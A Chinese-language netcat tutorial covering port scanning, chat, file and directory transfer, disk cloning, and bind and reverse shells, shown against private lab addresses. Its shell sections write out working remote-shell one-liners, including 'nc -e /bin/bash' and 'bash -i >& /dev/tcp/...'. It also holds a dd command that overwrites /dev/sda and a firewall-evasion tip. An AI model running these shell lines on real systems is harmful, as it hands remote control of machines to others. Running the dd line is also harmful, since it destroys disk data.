netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。
端口扫描
1 | [root@node1 ~]# nc -z -v -n 10.211.55.24 1-100 |
2 | nc: connect to 10.211.55.24 port 1 (tcp) failed: Connection refused |
3 | nc: connect to 10.211.55.24 port 2 (tcp) failed: Connection refused |
4 | nc: connect to 10.211.55.24 port 3 (tcp) failed: Connection refused |
5 | nc: connect to 10.211.55.24 port 4 (tcp) failed: Connection refused |
6 | nc: connect to 10.211.55.24 port 5 (tcp) failed: Connection refused |
7 | ... |
默认运行tcp扫描,-u参数调整udp
-z 连接成功后立马退出
-v 详细内容输出
-n 不进行反查
chat server
1 | server |
2 | nc -l -v -p 1567 |
3 | client |
4 | nc 10.211.55.24 1567 |
文件传输
1 | server |
2 | nc -l 1567 < file.txt |
3 | client |
4 | nc -n 10.211.55.24 1567 > file.txt |
5 | server端作为文件源,无论哪个客户端访问都会发送文件,反之... |
1 | server |
2 | nc -l 1567 > file.txt |
3 | client |
4 | nc -n 10.211.55.24 1567 < file.txt |
5 | server作为文件存放地,任何客户端都可以发送文件到服务端 |
目录传送
文件传送很简单,如果我们需要传送目录,我们需要先打包压缩,接受后再解压。
1 | server |
2 | tar -czvf - dir_name | nc -l 1567 |
3 | client |
4 | nc -n 10.211.55.24 1567 | tar -xzvf - |
克隆一个设备
1 | server |
2 | dd if=/dev/sda | nc -l 1567 |
3 | client |
4 | nc -n 10.211.55.24 1567 | dd of=/dev/sda |
打开一个shell
1 | 假设netcat支持-c -e选项 |
2 | server |
3 | nc -l 1567 [-e | -c] /bin/bash |
4 | client |
5 | nc -n 10.211.55.24 1567 |
6 | 客户端只要连接端口,就可以远程操作shell |
1 | 假设netcat不支持-c -e选项 |
2 | server |
3 | mkfifo /tmp/tmp_fifo |
4 | cat /tmp/tmp_fifo | /bin/bash -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo |
5 | client |
6 | nc -n 10.211.55.24 1567 |
7 | 会得到一个shell的提示符在客户端 |
反向shell
1 | server 端监听一个端口 |
2 | nc -l 1567client 发送一个shell |
3 | nc 10.211.55.24 1567 -e /bin/bash |
4 | 服务端获得client的shell |
1 | linux本身也可以发送shell |
2 | bash -i >& /dev/tcp/10.211.55.24/1567 0>&1 |
3 | 服务端可以得到shell的提示符 |
指定源地址和源端口
1 | 假设防火墙过滤了大多数端口,我们可以指定源端口 |
2 | server |
3 | nc -l 1567 |
4 | client |
5 | nc -n 10.211.55.35 -p 25 |
1 | 假设有多个地址,指定地址与外部通信 |
2 | 服务端 |
3 | nc -u -l 1567 < file.txt |
4 | 客户端 |
5 | nc -u 10.211.55.24 -s 10.211.55.35 > file.txt |